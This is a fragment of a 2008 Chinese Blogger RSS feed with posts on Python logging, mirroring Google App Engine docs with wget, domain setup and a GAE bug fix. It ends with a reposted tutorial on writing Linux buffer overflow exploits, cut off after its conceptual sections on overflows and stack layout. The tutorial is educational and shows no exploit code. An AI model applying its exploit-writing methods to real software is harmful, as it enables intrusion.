%(levelname)s\t%(message)s&#39;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;formatter = logging.Formatter(FORMAT)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;logging.basicConfig(format=FORMAT, level=logging.DEBUG) # log sur console&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;PS: 在网上找到一个比较全的logging处理方法，记录一下&lt;br&gt;From： &lt;a href=&quot;http://snipplr.com/view.php?codeview&amp;id=5519&quot;&gt;http://snipplr.com/view.php?codeview&amp;id=5519&lt;/a&gt;&lt;br&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;#!/usr/bin/env python&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;# -*- coding: utf-8 -*&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;u&quot;&quot;&quot;Program name - short description&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;Example usage&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;=============&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;.. sourcecode:: bash&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    python program_name.py -vvvvv action&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;:author: `Name Surname &lt;mailto:&lt;a href=&quot;mailto:foo@example.com&quot;&gt;foo@example.com&lt;/a&gt;&gt;`__&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;# Pylint checks&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;# &quot;line to long&quot; pylint: disable-msg=C0301&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;# &quot;Used * or ** magic&quot; pylint: disable-msg=W0142&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;__revision__ = &quot;$Id$&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;__docformat__ = &#39;restructuredtext en&#39;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;import os, sys, logging, optparse&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;#: Glogbal logger instance&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;LOG = logging.getLogger(__name__)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;#: Debug level names as a string&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;LOG_HELP = &#39;,&#39;.join([&quot;%d=%s&quot; % (4-x, logging.getLevelName((x+1)*10)) for x in xrange(5)])&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;#: Console LOG format&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;LOG_FORMAT_CONS = &#39;%(asctime)s %(name)-12s %(levelname)8st%(message)s&#39;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;#: File LOG format&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;LOG_FORMAT_FILE = &#39;%(asctime)s %(name)s[%(process)d] %(levelname)10s %(message)s&#39;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;#: Levels of logging translation (count of -v, log level)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;LOGLEVEL_DICT = { 1 : 50, 2:40, 3:20, 4:10, 5:1 }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;DEFAULT_VERBOSITY = 0&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;def default_action():             &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &quot;&quot;&quot; Does foo and bar &quot;&quot;&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    LOG.info(&quot;Default action done&quot;)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;def main():&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &quot;&quot;&quot; Main function - parses args and runs action &quot;&quot;&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    parser = optparse.OptionParser(usage=&quot;%prog or type %prog -h (--help) for help&quot;, description=__doc__, version=&quot;%prog&quot; + __revision__)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    parser.add_option(&quot;-v&quot;, action=&quot;count&quot;, dest=&quot;verbosity&quot;, default = DEFAULT_VERBOSITY, help = &quot;Verbosity. Add more -v to be more verbose (%s) [default: %%default]&quot; % LOG_HELP)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    parser.add_option(&quot;-l&quot;, &quot;--logfile&quot;, dest=&quot;logfile&quot;,    default = None, help = &quot;Log to file instead off console [default: %default]&quot; )&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    (options, args) = parser.parse_args()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    verbosity = LOGLEVEL_DICT.get(int(options.verbosity), DEFAULT_VERBOSITY)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    # Set up logging&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    if options.logfile is None:&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        logging.basicConfig(level=verbosity, format=LOG_FORMAT_CONS)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    else:&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        logfilename = os.path.normpath(options.logfile)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        logging.basicConfig(level=verbosity, format=LOG_FORMAT_FILE, filename=logfilename, filemode=&#39;a&#39;)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        print &gt;&gt; sys.stderr, &quot;Logging to %s&quot; % logfilename&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    # Run actions&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    LOG.info(&quot;Starting %s, rev %s from %s using verbosity %s/%s as PID %d&quot;, __name__, __revision__, os.path.abspath(__file__), options.verbosity, verbosity, os.getpid())&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    for action in args:     &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        if action == &#39;raise&#39;:&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            raise Exception(&quot;User requested exception&quot;)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        else:&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            default_action()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    LOG.info(&quot;Exited %s, rev %s from %s using verbosity %s/%s  as PID %d&quot;, __name__, __revision__, os.path.abspath(__file__), options.verbosity, verbosity, os.getpid())&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;if __name__ == &quot;__main__&quot;:&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    main()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;-- &lt;br&gt;Border&lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.cn&quot;&gt;www.b0rder.cn&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-3338272193529440584?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/05/django-console-logging.html</link><author>borderj@gmail.com (Border)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-637475962668898635</guid><pubDate>Wed, 23 Apr 2008 02:30:00 +0000</pubDate><atom:updated>2008-04-23T10:30:27.028+08:00</atom:updated><title>[GAE] Google App Engine 的文档制作为CHM</title><description>&lt;br&gt;  由于近来家里的网络不怎么好, 就把&lt;a href=&quot;http://code.google.com/appengine/&quot;&gt;http://code.google.com/appengine/&lt;/a&gt; 网站下的所有文档都下载到本地, 并制作为chm文档, 一般没有网的时候可以看看文档.&lt;br&gt;&lt;br&gt;整站下载就想到了wget. Wget常用参数:&lt;br&gt;&lt;br&gt;    ◆-b：后台下载，Wget默认的是把文件下载到当前目录。&lt;br&gt;     ◆-O：将文件下载到指定的目录中。&lt;br&gt;    ◆-P：保存文件之前先创建指定名称的目录。&lt;br&gt;    ◆-t：尝试连接次数，当Wget无法与服务器建立连接时，尝试连接多少次。&lt;br&gt;    ◆-c：断点续传，如果下载中断，那么连接恢复时会从上次断点开始下载。&lt;br&gt;&lt;br&gt;通过wget -r -p -np -k &lt;a href=&quot;http://code.google.com/appengine/&quot;&gt;http://code.google.com/appengine/&lt;/a&gt; 下载文档&lt;br&gt; &lt;br&gt;其中:&lt;br&gt;    -r  参数是指使用递归下载，&lt;br&gt;    -p  是指下载所有显示完整网页所以需要的文件，如图片等，&lt;br&gt;    -np 是指不搜索上层目录，-k则是指将绝对链接转换为相对链接。 &lt;br&gt;    -m  要是做镜像可以再加个 -m&lt;br&gt;&lt;br&gt;&lt;br&gt;-- &lt;br&gt;边 江 (Border)&lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.cn&quot;&gt;www.b0rder.cn&lt;/a&gt;&lt;br&gt; Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-637475962668898635?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/gae-google-app-engine-chm.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-2727068546654877278</guid><pubDate>Mon, 21 Apr 2008 08:46:00 +0000</pubDate><atom:updated>2008-04-21T16:46:36.164+08:00</atom:updated><title>免费注册CN域名</title><description>免费的CN域名, 刚申请了个b&lt;a href=&quot;http://0rder.cn&quot;&gt;0rder.cn&lt;/a&gt; 的,&lt;br&gt; &lt;div class=&quot;msg Nth&quot;&gt;&lt;a href=&quot;http://www.net.cn/static/discount/cn20080305.asp&quot;&gt;http://www.net.cn/static/discount/cn20080305.asp&lt;/a&gt;&lt;/div&gt; &lt;div class=&quot;msg Nth&quot;&gt;直接访问吧&lt;/div&gt; &lt;div class=&quot;msg Nth&quot;&gt;&lt;br&gt;&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;-- &lt;br&gt;边 江 (Border)&lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-2727068546654877278?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/cn.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-7280997829712832068</guid><pubDate>Sat, 19 Apr 2008 01:20:00 +0000</pubDate><atom:updated>2008-04-19T09:20:20.674+08:00</atom:updated><title>『 Google 』Google App Engine add domain b0rder.com</title><description>    昨天在n&lt;a href=&quot;http://ame.com&quot;&gt;ame.com&lt;/a&gt;申请了两个域名, &lt;a href=&quot;http://b0rder.com&quot;&gt;b0rder.com&lt;/a&gt; &lt;a href=&quot;http://zhangred.com&quot;&gt;zhangred.com&lt;/a&gt;, 想通过Google App 把域名指向到b&lt;a href=&quot;http://0rder.com&quot;&gt;0rder.com&lt;/a&gt;, 操作了好长时间还是不行, 结果刚刚查了一下, 一般需要48小时, 看来要慢慢等待了. &lt;br&gt; &lt;br&gt;原文:&lt;br&gt;Your CNAME record is now configured to point to Google. Keep in mind that changes to your DNS settings may take up to 48 hours to propagate throughout the Internet.&lt;br&gt;&lt;br&gt;来自: &lt;a href=&quot;http://www.google.com/support/a/bin/answer.py?answer=47283&amp;ctx=sibling&quot; target=&quot;_blank&quot;&gt;http://www.google.com/support/a/bin/answer.py?answer=47283&amp;ctx=sibling&lt;/a&gt;&lt;br&gt;&lt;br&gt; PS: 一不小心把域名在google app中删了, 要想再加这个域名要等待5天...&lt;br&gt;&lt;div class=&quot;msg Nth&quot;&gt;&lt;br&gt;&lt;/div&gt;-- &lt;br&gt;边 江 (Border)&lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-7280997829712832068?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/google-google-app-engine-add-domain.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-3519580073195007740</guid><pubDate>Fri, 11 Apr 2008 17:50:00 +0000</pubDate><atom:updated>2008-04-12T01:50:36.148+08:00</atom:updated><title>『Google 』 App Engine static file bug on windows</title><description>&lt;br&gt;在&lt;a href=&quot;http://code.google.com/appengine&quot;&gt;App Engine&lt;/a&gt;做&lt;a href=&quot;http://code.google.com/appengine/docs/gettingstarted/staticfiles.html&quot;&gt;static file &lt;/a&gt;例子的时候发现在windows中有个Bug, 在&lt;a href=&quot;http://groups.google.com/group/google-appengine/browse_thread/thread/e16f36bbbfd020f8/4a95753b1dd58df5?lnk=gst&amp;q=unbalanced+parenthesis#&quot;&gt;Group&lt;/a&gt;中发现有人提出了这个问题, &lt;br&gt; 在官方的&lt;a href=&quot;http://code.google.com/p/googleappengine/issues/detail?sort=&amp;colspec=ID%20Type%20Status%20Priority%20Stars%20Owner%20Summary&amp;q=&amp;can=2&amp;id=20&quot;&gt;Issue&lt;/a&gt;中也有相应的Bug.&lt;br&gt;&lt;br&gt;解决方法:&lt;br&gt;&lt;pre&gt;Microsoft Windows XP [版本 5.1.2600]&lt;br&gt; Python 2.5.1&lt;br&gt;&lt;br&gt;here&#39;s a good fix for windows user&lt;br&gt;&lt;br&gt;Windows users can use this workaround:&lt;br&gt;&lt;br&gt;Change lines 2369-70 in &lt;installdir&gt;\google\appengine\tools&lt;br&gt;\dev_appserver.py from:&lt;br&gt;&lt;br&gt;      regex = os.path.join(re.escape(regex), &#39;(.*)&#39;)&lt;br&gt;       path = os.path.join(path, &#39;\\1&#39;)&lt;br&gt;&lt;br&gt;to:&lt;br&gt;&lt;br&gt;      regex = re.escape(regex) + &#39;/(.*)&#39;&lt;br&gt;      path = path + &#39;/\\1&#39; &lt;br&gt;&lt;/pre&gt;&lt;br clear=&quot;all&quot;&gt;&lt;pre&gt;PS: careful with the indentation.&lt;br&gt;&lt;/pre&gt; 最后就是注意源码的缩进是2个空格.&lt;br&gt;&lt;br&gt;-- &lt;br&gt;边 江 (Border)&lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-3519580073195007740?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/google-app-engine-static-file-bug-on.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-1089678197122556836</guid><pubDate>Fri, 11 Apr 2008 13:41:00 +0000</pubDate><atom:updated>2008-04-11T21:41:15.115+08:00</atom:updated><title>『Google 』 收到 App Engine 邀请</title><description>&lt;br&gt;前天Google 刚开放了&lt;a href=&quot;http://appengine.google.com/&quot;&gt;Google App Engine&lt;/a&gt;, 当天就申请了一个, 现在收到邀请, 运气不错.&lt;br&gt;&lt;br&gt;本来打算要买个支持Python的空间,看来现在可以省几个大洋. 直接在App Engine 上跑个Blog, 说不定再跑个数据挖掘的东东玩玩.&lt;br&gt;&lt;br&gt;可惜现在每个人只能建三个项目, 目前建了一个&lt;a href=&quot;http://b0rder.appspot.com/&quot;&gt;Blog&lt;/a&gt;, 同时也在Google Code 中建个&lt;a href=&quot;http://code.google.com/p/b0rder/&quot;&gt;b0rder项目&lt;/a&gt;来管理这个blog的代码, 用来开发这个Blog.&lt;br&gt; &lt;br&gt;&lt;br&gt;Hello,&lt;br&gt; &lt;br&gt; Thanks for signing up to try Google App Engine!  Your account has been activated, so you can begin building applications!&lt;br&gt; &lt;br&gt; To start creating applications with Google App Engine, simply follow this link (you may need to sign in with your borderj {@} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt; Google Account):&lt;br&gt; &lt;br&gt; &lt;a href=&quot;http://appengine.google.com/&quot; target=&quot;_blank&quot;&gt;http://appengine.google.com/&lt;/a&gt;&lt;br&gt; &lt;br&gt; Thanks!&lt;br&gt; The Google App Engine Team&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;边 江 (Border)&lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-1089678197122556836?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/google-app-engine.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-7693874506855934462</guid><pubDate>Sat, 05 Apr 2008 17:25:00 +0000</pubDate><atom:updated>2008-04-06T01:25:50.558+08:00</atom:updated><title>『 Hacking 』如何编写自己的缓冲区溢出利用程序 Linux Buffer Overflow</title><description>            如何编写自己的缓冲区溢出利用程序?&lt;br&gt;                        by 黑猫 (&lt;a href=&quot;mailto:virtualcat@hotmail.com&quot;&gt;virtualcat@hotmail.com&lt;/a&gt;)&lt;br&gt;                    &lt;&lt;a href=&quot;http://www.xfocus.org&quot;&gt;http://www.xfocus.org&lt;/a&gt;&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;内容: 本文主要讲解有关Buffer Overflow的原理, 以及结合实战范例介绍Linux和Solaris下的漏洞利用.&lt;br&gt;      本文并不介绍如何编写shell code.&lt;br&gt;&lt;br&gt;要求: 读者要有一点C和汇编语言基础.&lt;br&gt;&lt;br&gt;目标: 希望本文能够尽量做到通熟易懂,使得稍有计算机基础知识的朋友看后能够亲自动手写自己的Exploit&lt;br&gt;      如果你觉得自己对这些都懂了, 就请不要再往下看了.&lt;br&gt; &lt;br&gt;&lt;br&gt;                          第一部份    概述篇&lt;br&gt;&lt;br&gt;1. Buffer overflow是如何产生的?&lt;br&gt;    所谓Buffer overflow, 中文译为缓冲区溢出. 顾名思意, 就是说所用的缓冲区太小了, 以至装不下&lt;br&gt;    那么多的东西, 多出来的东西跑出来了. 就好象是水缸装不了那么多的水, 硬倒太多会溢出来一样;)&lt;br&gt;    那么, 在编程过程中为什么要用到buffer(缓冲区)呢? 简单的回答就是做为数据处理的中转站.&lt;br&gt; &lt;br&gt;2. UNIX下C语言函数调用的机制及缓冲区溢出的利用.&lt;br&gt;   1) 进程在内存中的影像.&lt;br&gt;      我们假设现在有一个程序, 它的函数调用顺序如下.&lt;br&gt;      main(...) -&gt; func_1(...) -&gt; func_2(...) -&gt; func_3(...)&lt;br&gt;      即: 主函数main调用函数func_1; 函数func_1调用函数func_2; 函数func_2调用函数func_3&lt;br&gt; &lt;br&gt;      当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.&lt;br&gt;&lt;br&gt;        (内存高址)&lt;br&gt;        +--------------------------------------+&lt;br&gt;        |             ......                   |  ... 省略了一些我们不需要关心的区&lt;br&gt;        +--------------------------------------+&lt;br&gt;         |  env strings (环境变量字串)          | \&lt;br&gt;        +--------------------------------------+  \&lt;br&gt;        |  argv strings (命令行字串)           |   \&lt;br&gt;        +--------------------------------------+    \&lt;br&gt;        |  env pointers (环境变量指针)         |    SHELL的环境变量和命令行参数保存区&lt;br&gt;         +--------------------------------------+    /&lt;br&gt;        |  argv pointers (命令行参数指针)      |   /&lt;br&gt;        +--------------------------------------+  /&lt;br&gt;        |  argc (命令行参数个数)               | /&lt;br&gt;        +--------------------------------------+&lt;br&gt;         |            main 函数的栈帧           | \&lt;br&gt;        +--------------------------------------+  \&lt;br&gt;        |            func_1 函数的栈帧         |   \&lt;br&gt;        +--------------------------------------+    \&lt;br&gt;        |            func_2 函数的栈帧         |     \&lt;br&gt;         +--------------------------------------+      \&lt;br&gt;        |            func_3 函数的栈帧         |      Stack (栈)&lt;br&gt;        +......................................+      /&lt;br&gt;        |                                      |     /&lt;br&gt;                       ......                        /&lt;br&gt;        |                                      |   /&lt;br&gt;        +......................................+  /&lt;br&gt;        |            Heap (堆)                 | /&lt;br&gt;         +--------------------------------------+&lt;br&gt;        |        Uninitialised (BSS) data      |  非初始化数据(BSS)区&lt;br&gt;        +--------------------------------------+&lt;br&gt;        |        Initialised data              |  初始化数据区&lt;br&gt;         +--------------------------------------+&lt;br&gt;        |        Text                          |  文本区&lt;br&gt;        +--------------------------------------+&lt;br&gt;        (内存低址)&lt;br&gt;&lt;br&gt;        这里需要说明的是:&lt;br&gt;        i)   随着函数调用层数的增加, 函数栈帧是一块块地向内存低地址方向延伸的.&lt;br&gt;              随着进程中函数调用层数的减少, 即各函数调用的返回, 栈帧会一块块地&lt;br&gt;             被遗弃而向内存的高址方向回缩.&lt;br&gt;             各函数的栈帧大小随着函数的性质的不同而不等, 由函数的局部变量的数目决定.&lt;br&gt;        ii)  进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分&lt;br&gt;             配给进程的内存数量的增加, Heap(堆)有可能向高址或低址延伸, 依赖于不&lt;br&gt;              同CPU的实现. 但一般来说是向内存的高地址方向增长的.&lt;br&gt;        iii) 在BSS数据或者Stack(栈)的增长耗尽了系统分配给进程的自由内存的情况下,&lt;br&gt;             进程将会被阻塞, 重新被操作系统用更大的内存模块来调度运行.&lt;br&gt;             (虽然和exploit没有关系, 但是知道一下还是有好处的)&lt;br&gt;        iv)  函数的栈帧里包含了函数的参数(至于被调用函数的参数是放在调用函数的栈&lt;br&gt;              帧还是被调用函数栈帧, 